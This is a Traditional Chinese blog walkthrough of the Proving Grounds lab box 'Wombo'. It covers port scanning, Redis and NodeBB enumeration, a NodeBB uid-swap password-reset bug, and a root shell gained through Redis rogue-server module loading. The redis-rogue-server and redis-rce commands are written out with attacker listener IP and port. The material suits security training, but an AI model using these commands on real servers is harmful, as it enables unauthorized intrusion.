Proving Grounds Practice : Wombo Walkthrough

Proving Grounds Practice : Wombo Walkthrough


Foothole (立足點 ) :

  • 6379 Port 發現 Redis,使用 PoC 沒有作用
  • 經過一番枚舉後又回到 Redis
  • 後來改攻擊機的 Listener IP 為 6379 Port 後拿到 Shell

PE ( 提權 ) :

  • 不用 PE,RCE 漏洞利用進去就 root

注意事項 :

  • Redis 沒有作用時第一優先考慮換 Port 試試看


第一步 Rustscan,└─$ rustscan -a 192.168.159.69 --scripts none  --ulimit 5000 | tee rustscan



snmp filtered,└─$ sudo nmap -sU -p 161 192.168.159.69 | tee snmp                  


nmap,└─$ sudo nmap -sCV -A -p 22,80,6379,8080,27017 192.168.159.69 | tee nmap

80/tcp    open  http       nginx 1.10.3

6379/tcp  open  redis      Redis key-value store 5.0.9

8080/tcp  open  http-proxy
| http-robots.txt: 3 disallowed entries 
|_/admin/ /reset/ /compose
|_http-title: Home | NodeBB
27017/tcp open  mongodb    MongoDB 4.0.18



80 /



80 /robots.txt



80 gobuster,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.159.69 -t 150 -k -x txt,pdf,git,php | tee gobuster



Redis 標準作業,└─$ nc -nv 192.168.159.69 6379,然後下 INFO,相關資訊如下
redis_version:5.0.9
executable:/usr/local/bin/redis-server
config_file:/etc/redis/redis.conf



CONFIG GET *

logfile : /var/log/redis/redis-server.log



Redis PoC 利用參考 : https://github.com/n0b0dyCN/redis-rogue-server

Python Code & exp.so 要一併下載放在同一個路徑下



執行看看,└─$ ./redis-rogue-server.py --rhost 192.168.159.69 --lhost 192.168.45.203

執行到一半 [info] Setting dbfilename... 卡住了,這表示 PoC 預設的驗證是過不了的

看來很有機會是對的,只是我們可能要在其他地方找到帳號密碼相關資訊


8080 /

8080 /Login 啥都沒有



8080 /robots.txt



8080 /admin



註冊一個帳號 offsec:pgplab



有繁體中文耶......好讚



searchsploit nodebb 



有個 Bug 可以修改任何使用者的密碼



有給 PoC,第一步創建一個使用者,我們已經有了



第二步去密碼修改網頁,然後用 Proxy 簡單講就是透過 Burp Suite

然後將 uid 改成 1 就是 admin 的密碼

先改一次送到 Burp Suite 看看,完全沒發現 PoC 裡面說的(後來想到應該是我改繁體了)



但我無法再用原有的密碼或是改過的密碼登入



後來又註冊了一個帳號但依舊無法成功

最後有點卡住的狀況下找到這個,不用驗證又 RCE 且 Metasploit

沒道理不給他跑跑看



跑了 Metasploit 結果找不到可以利用的



直接找找看 GitHub 上有沒有可以直接免驗證的 Redis RCE 工具,後來發現這個

參考 : https://github.com/Ridter/redis-rce



執行看看,結果問我模組在哪,看了一下模組就是 .so 檔案



使用前面已經有的 exp.so 試試看,結果依樣失敗



後來改用這個 Build *.so

參考 : https://github.com/n0b0dyCN/RedisModules-ExecuteCommand/tree/master

將檔案都抓下來後執行 make -f Makefile



最後產出一個 module.so



再跑一次試試看,└─$ python3 redis-rce.py -f ./module.so -r 192.168.159.69 -L 192.168.45.203

又失敗了.........GG


測試到後來是 Port 的問題,改成使用 6379 就過了



改回測試一開始下載的 exp.so 然後使用 6379 Port 也成功了

└─$ python3 redis-rce.py -f ./exp.so -r 192.168.159.69 -L 192.168.45.203 -P 6379



繼續測試一開始的 Python 然後加上指定的 Port 6379 也過了,結果繞了一大圈 

└─$ ./redis-rogue-server.py --rhost 192.168.159.69 --lhost 192.168.45.203 --lport 6379




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)